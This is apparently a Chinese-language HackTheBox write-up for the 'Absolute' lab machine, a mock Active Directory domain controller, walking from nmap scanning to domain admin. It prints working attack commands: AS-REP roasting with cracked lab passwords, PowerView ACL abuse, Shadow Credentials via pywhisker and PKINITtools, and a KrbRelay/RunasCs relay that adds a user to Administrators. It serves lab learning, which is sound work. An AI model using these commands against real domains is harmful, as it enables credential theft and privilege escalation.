HackTheBox Absolute

Uncategorized
4.8k words

打开靶机,得到IP:10.10.11.181。用nmap扫描一下,因为我其实是看着wp写的,这里就不装模做样的等着从头开始扫了。不管怎么说,最后得到的结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-21 16:10:37Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-21T16:11:40+00:00; +6h59m57s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after: 2024-07-16T21:11:52
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after: 2024-07-16T21:11:52
|_ssl-date: 2023-09-21T16:11:41+00:00; +6h59m57s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-21T16:11:40+00:00; +6h59m56s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after: 2024-07-16T21:11:52
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-21T16:11:41+00:00; +6h59m57s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after: 2024-07-16T21:11:52
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m56s, deviation: 0s, median: 6h59m56s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-09-21T16:11:26
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/s

发现开了ldapkerberos服务,由此判断这应该是一台仿DC的靶机。除了这两项服务以外,我们还发现这台机子是支持http服务的,我们访问一下看看。

访问之后说实话,啥也看不出来,连个交互点都没有,应该是个纯静态的站,故此也就不考虑从web撕口子了。但是F12查页面源码,发现这里的jpg图片名称还是挺有规律的,可以直接下载下来。相关命令如下,还是挺简单的。
for i in {1..10};do wget http://10.10.11.181/images/hero_${i}.jpg;done;


下载到本地之后,随便挑个图片查下信息,发现ArtistAuthor这两行,比较引人注意。grep+awk提取一下,得到了以上人名列表。这里要根据这个人名列表推测一下可能的用户名(中国人真的很难推英文名诶),然后把可能的用户名保存到一个txt文件里,开始域内用户枚举。

用kerberute域内用户枚举之前,记得先把hosts文件给改一下。枚举的命令如图所示,以后直接套模板即可(sudo加不加都行),最终是得到了5个可用用户。

Forest靶机的步骤差不多,到这一步我们可以用GetNPuser.py
查一查这里面的用户有没有谁把身份预验证机制给关闭了,命令如下

1
awk -F "@" '{print $1}' /home/f4miti0n/桌面/username.txt | xargs -I{} python3 GetNPUsers.py absolute.htb/{} -request -no-pass -dc-ip 10.10.11.181


发现d.klay这个用户可以返回TGT,把这个TGT 保存到本地,用john破解一下,得到密码Darkmoonsky248girl

拿到密码了,ldapsmb啥的都可以试试了,换以前的话肯定是ldapsearchsmbclient一顿乱连,但我先看了wp,发现原来crackmapexec早把集成给做好了,直接一把梭。


梭梭梭,梭不出来,确实不会用crackmapexec,返回结果都没弄明白,这里是查了才知道STATUS_ACCOUNT_RESTRICTION 通常意味着禁用了NTLM,并且需要使用Kerberos进行身份验证。这里要想办法伪造一下TGT了,直接调整时差impacket-getTGT伪造开梭

1
2
3
sudo ntpdate -u dc.absolute.htb
impacket-getTGT 'absolute.htb/d.klay:Darkmoonsky248girl' -dc-ip dc.absolute.htb
export KRB5CCNAME=$(pwd)/d.klay.ccache

利用刚才生成的票据,配合crackmapexec链接,得到以下结果。这里要吐槽一下这个export导出变量儿。那个新建的变量是临时的,只在当前会话下管用。一开始把这茬忽略了,一直都是跑到crackmapexec目录下新开终端跑ldap,一直都连不上,就挺烦人。

仔细看看上图,发现svc_smb这个账户别有洞天,一看就是个能连smb的好账户,旁边还贴心的把密码给我们了,我们按照上面的流程重新伪造一下TGT链接smb试试 (d.klay读不了共享就很难受)



下了test.execompiler.sh这俩文件,其实按照普通靶机来讲,我这都拿到smb权限了,让我下个flag并不过分,但这个靶机是insane难度的,那也真没辙,接着分析一下test.exe (按常理讲应该是逆向分析的,但我怼着wp做,直接上wireshark)



本来想在linux下用wine来执行test.exe的,但一执行就报错,我真的是哭死,最后还是老实上win10,用之前记得到C:\Windows\System32\drivers\etchost文件的内容和linux的那个同步一下,整完这一套后抓到了一组新的用户名密码:absolute.htb\m.lovegod:AbsoluteLDAP2022!,简单用crackmapexec查一查,并没发现什么特殊的地方,用bloodhound.py远程收集一下域信息试试。


发现了这么些个用户,个人感觉比较有意思的部分都放到左上角了,重点关注一下这个WINRM_USER,看名字就知道这个用户可以成为evil-winrm的利用对象,我们从当前的m.lovegod出发设置StartNode,看看如何才能拿下winrm_user



能够看到M.LOVEGODNETWORK AUDIT组有own权限,而NETWORK AUDIT组又对WINRM_USERGenericWrite权限。虽然M.LOVEGOD不是NETWORK AUDIT的成员,没法直接控制WINRM_USER,但因为own权限的存在,我们只需要把M/LOVEGOD给加进NETWORK AUDIT就完事儿了。我们踏步进入AD域渗透步骤。

ps: 在Windows域中,own 权限是指用户对资源具有完全控制权限,包括读取、写入、修改和删除等操作

我们尽量在Windows的环境下来搞,Linux的稍有些麻烦,在进行操作之前我们要把DNS服务器设置一下,再把Windows Defender给关了防杀PS

1
2
3
4
5
6
7
8
9
10
11
12
// 导入 PowerView.ps1 和 Powermad.ps1 模块
Import-Module .\PowerView.ps1
Import-Module .\Powermad.ps1
// 设置密码为 "AbsoluteLDAP2022!" 并将其转换为安全字符串
$pass=ConvertTo-SecureString 'AbsoluteLDAP2022!' -AsPlain -Force
// 创建一个包含凭据的 PS 身份验证对象,凭据包括用户名 'absolute.htb\m.lovegod' 和密码 'AbsoluteLDAP2022!'
$cred=new-object system.management.automation.pscredential('absolute.htb\m.lovegod',$pass)
// 向 "Network Audit" 对象授予 "m.lovegod" 用户所有权限,使用提供的凭据连接到域控制器 "dc.absolute.htb"
Add-DomainObjectAcl -Credential $cred -TargetIdentity "Network Audit" -Rights all -DomainController "dc.absolute.htb" -PrincipalIdentity "m.lovegod"
// 将用户 "m.lovegod" 添加到 "Network Audit" 组中,使用提供的凭据连接到域 "absolute.htb"Add-DomainGroupMember -Credential $cred -Identity "Network Audit" -member m.lovegod -Domain "absolute.htb"
// 获取属于 "Network Audit" 组的成员列表,并以成员名的格式进行输出。
3

结果如下,成功将其加入Network Audit

加入进Network Audit组以后,需要重新生成TGT。然后再通过pkwhisker.py来修改属性申请.pfx私钥证书,pywhisker下载地址:https://github.com/ShutdownRepo/pywhisker
python pywhisker.py -d absolute.htb -u "m.lovegod" -k --no-pass -t "winrm_user" --action "add"

拿到私钥文件后,再使用PKINTtool获取winrmTGT
PKINTtool下载地址: https://github.com/dirkjanm/PKINITtools

1
python3.11 gettgtpkinit.py absolute.htb/winrm_user -cert-pfx /home/f4miti0n/桌面/xx/pywhisker-main/ypGDUuw9.pfx -pfx-pass wYSyHawOtHjT9jVixYmC winrmCcache


成功拿到了winrm的TGT票据,export一下之后拿evil-winrm链接,这里就算成功拿到了普通用户权限,昂首踏步进入提权阶段

ps:链接之前一定要把/etc/krb5.conf给配置好了再来,看着wp一通做没配卡了挺长时间。

1
2
3
4
5
6
7
[libdefaults]  
default_realm = ABSOLUTE.HTB
[realms]
ABSOLUTE.HTB = {
kdc = DC.ABSOLUTE.HTB
admin_server = ABSOLUTE.HTB
}



在进入提权阶段前先碎碎念一会儿,简单解释一下这里到底对winrm这个用户做了些什么。在Kerberos认证协议中,TGT只能通过验证一个名为 “预认证 “的第一步来获得,预认证可以以对称方式(用DES、RC4、AES128或AES256密钥)或非对称方式(用证书)进行验证,而非对称的预认证方式被称其为PKINITPKINIT是一个Kerberos协议的扩展协议,允许Kerberos预认证阶段中使用非对称密钥进行加密。基于PKINIT协议,客户端使用自身私钥对预验证数据(Pre-authentication Data)进行加密,KDC使用客户端的公钥进行解密(与数字证书相似),若KDC成功使用公钥解密,则返回TGT票据。

很不巧的是,KDC用于解密的公钥是可以被设置在指定目标的msDs-KeyCredentialLink属性上的,而我们又恰好拥有修改msDs-KeyCredentialLink的权限(别忘了,我们是GenericWrite),所以我们自然能很轻松地拿到winrmTGT,这里的pywhisker.py是在修改winrmmsDs-KeyCredentialLink为我们的特定公钥,gettgtpkint.py则是在启动这一套pkint验证流程。

ps: 我们把这一套流程叫做Shadow Credentials,更多信息可以来学一下这篇文章,写的非常nice
https://forum.butian.net/share/1607


提权阶段用到的攻击手段是Kerberos中继攻击,和之前在Responder用到的NTLM中继还有些许不同之处,我们先来学习一下。

首先,我们重新回顾一下NTLM Relay的基本原理,其中流程如图所示,不难看出我们攻击者的机器在这个流程中其实只是起到了一个中间人的作用,对 ClientServer 所传输数据进行双向转发。在之前的Responder靶机里,我们就是把 AUTHENTICATE拦截住,用john对里面的NTLM Hash进行破解以此得到password(当然,也可以把这个NTLM Hash重放给其他服务),利用起来非常的简单。

Kerberos relay这里,一切就又不大一样了。因为Kerberos加强了通信前双方身份的认定工作,通过在Authentication Server Request (AS_REQ)中添加服务主体名称(SPN) ,导致最终获取的ST无法用于与其他SS(Service Server)通信,从而阻止中继到与服务主体名称不同的服务。

但如果攻击者可以控制SPN,便可以顺利地中继到任意目标服务器。部分协议可以强制受害者向攻击者进行强制身份认证,并且在进行Kerberos身份认证时允许指定不同的SPN,包括以下:

1
IPSec and AuthIP,MSRPC,DCOM,HTTP,LLMNR,MDNS

攻击者使用以上协议控制受害者使用指定的SPN进行认证,在受害者拿到ST后会对攻击者进行AP_REQ请求,攻击者提取请求中的ST通过没有设置强制签名的协议进行中继。没有设置强制签名的协议如下:

1
LDAP/LDAPS,HTTP,SMB

也就是说Kerberos中继关键点在于这两种协议

  1. 用于触发受害者客户端身份验证的协议,此协议要求可以指定SPN
  2. 身份验证中继到的服务使用的协议,此协议要求不设置强制签名

总结下的话,Kerberos 中继的主要重点是拦截 AP-REQ,并将其中继到用于请求服务票证 (ST) 的服务主体名称 (SPN) 中指定的服务,其流程如下所示

关于Kerberos Relay,我们有以下场景比较适合利用
三种利用场景:

  • 利用 SPN 的可伪造性,使客户端认为自己连接的是目标服务,而实际上是攻击者控制的服务。这样攻击者就可以截获客户端发送的票据,并用于访问目标服务。
  • 利用约束委派或资源约束委派的功能,使客户端向攻击者控制的服务请求一个新的票据,并用于访问目标服务。这样攻击者就可以利用客户端拥有的委派权限,来访问目标服务。
  • 利用 DCOM(分布式组件对象模型)协议中的一些特性,使客户端向攻击者控制的服务发送一个伪造的票据,并用于访问目标服务。这样攻击者就可以利用 DCOM 的对象引用机制,来伪造客户端的身份。

我们这里着重学习下DCOM Kerberos Relay,相关内容想深入学习可以看下面这篇文章,写的非常的nice Proejct 0:Windows漏洞利用技巧:中继DCOM身份验证

对文章里关于DCOM Kerberos Relay原理的拙劣概括:

  • DCOM是一种基于RPC(远程过程调用)的技术,它允许在不同的进程或主机之间使用COM(组件对象模型)对象。
  • 当一个COM对象被封送(marshal)时,即被转换为一个可以在不同环境中使用的数据结构,COM运行时会生成一个OBJREF(对象引用)结构,其中包含了连接到原始对象的所有信息,例如对象的类标识符(CLSID)、接口标识符(IID)、安全绑定信息(这个身份验证信息包含了客户端的用户名、域名和密码哈希等信息)。和对象导出器标识符(OXID)等。客户端可以通过解封送(unmarshal)OBJREF来获取对远程对象的接口引用,并通过RPC调用其方法。
  • 从OBJREF连接到原始对象是一个两步过程:首先,客户端从OBJREF中提取OXID(对象导出器标识符),并联系OBJREF中指定的OXID解析器服务;其次,客户端使用OXID解析器服务来找到托管对象的COM服务器的RPC绑定信息,并建立连接到RPC端点,以访问对象的接口。
  • 这两个步骤都需要建立一个MSRPC连接到一个端点。通常这是本地通过ALPC(高级本地过程调用),或者远程通过TCP。如果使用TCP连接,则客户端还会根据OBJREF中的安全绑定信息,使用NTLM或Kerberos对RPC服务器进行身份验证,如果OBJREF中包含了一个具有SYSTEM权限的COM对象的信息,那么它的身份验证信息就相当于SYSTEM用户的身份验证信息。这样,攻击者就截获可以利用这个身份验证信息信息来访问和控制系统的任何资源和任务,从而实现权限提升。
  • 作者发现了一种方法,可以构造一个OBJREF,使得客户端总是通过TCP连接到OXID解析器服务,即使服务在本地机器上。这样做的方法是在OBJREF中指定主机名为IP地址,并指定一个任意的TCP端口供客户端连接。这样就可以在本地监听,并在RPC连接建立时中继或重用身份验证信息。
  • 这还不是一个权限提升,因为还需要说服一个有权限的用户解封送(unmarshal)OBJREF。作者发现了一种方法,可以使用CoGetInstanceFromIStorage API,并激活一个有权限的COM服务,来轻松地让它解封送任意OBJREF (这里和Potato攻击很像)。
  • 如果解封送的COM服务使用Kerberos进行身份验证,则可以利用Kerberos中继攻击的技术,将身份验证信息转发到网络服务,例如LDAP。这样就可以利用COM服务的权限来访问网络资源。

理论知识的介绍到这里就完成了,关于Kerberos Relay更多信息的可以看下面这篇文章,虽然是生肉,但内容很硬,啃一啃收获很多,我们正式进入实操阶段
项目 Zero:使用 Kerberos 进行身份验证中继攻击

首先我们要把用来做KrbRelay的工具给下下来,在本地用Visual Stduio打开其sln文件完成项目构建
cube0x0/KrbRelay: Framework for Kerberos relaying (github.com)


CheckPort.exeKrbRelay.exe这俩二进制文件用upload上传到winrm的主机上。先用CheckPort.exe识别出恶意服务器将运行的端口,得到10这个端口。再尝试使用KrbRelay进行本地用户提权,spn参数指定为我们要打的服务,这里选择的目标是ldap,同时要用CLISD激活一个需要一个具有正确权限的有效RPC服务。KrbRelay README上有一个操作系统默认clsid列表,clsid各不相同,通常可以使用默认的,比如TrustedInstaller的CLSID8F5DF053-3013-4dd8-B5F4-88214E81C0CF,运行结果如下

amazing,失败了(其实一点也不amazing,主要这里是为了方便下文引出RunAsCs故意失败的)
此失败是由于该漏洞利用需要交互式会话,例如console。在这些会话中,密码凭据存储在内存中,因此可以被攻击者利用,这与现在使用的WinRM远程处理不同,而对于此问题,我们可以用RunAsCs来进行解决。

这里搬一下别的博主对于RunAsCs的介绍。

RunAsCs允许以不同用户的身份运行,注意此处使用的是最新版本的RunasCs version 1.5。
RunasCs是一个实用程序,用于运行具有与用户当前登录不同权限的特定进程,使用明文密码。
Administrative tools and logon types有一个logon type表。Runas/Network是logon type 9的示例。
目前,RunasCs支持多种logon types,但最重要的是2、3和9。

  • Logon type 2: 就像box上的console。不幸的是,这种登录类型不能被DC上的每个人使用,因为它的先决条件是用户需要”交互式登录”权限,而域控制器上默认不授予这种权限。
  • Logon type 3: 用户帐户控制(UAC)绕过,它还需要密码,并且基本上是网络交互式登录,因为它也需要”交互式登录”特权。
  • Logon type 9: 这种登录类型与运行runas /netonly相同,这意味着不会检查密码,使用提供的密码在网络上进行身份验证。

这里的交互式登录也就是在本地键盘上进行的登录,显然不适合我们当前的场景,Logon type 9为当前的最好选择,因为通过网络作为另一个用户进行身份验证,可以使用任何密码,同时以自己的身份在本地运行应用程序,这里选择Logon 9,将RunAsCs.exe传到主机上后,执行以下命令

1
2
.\rr.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10"
//rr.exe就是RunAsCs.exe

运行结果如下,ldap bind成功

趁热打铁,通过ldap服务来把winrm加入到Administrator组里

1
.\rr.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user"

攻击成功,至此,提权结束,我们去读一下flag


PWN!

结尾吐槽一下,这题对于基础弱的来讲确实挺难的,别的不说,光东西就没少装,相关知识的中文资料还少的要命,得提高下英语能力啃生肉了。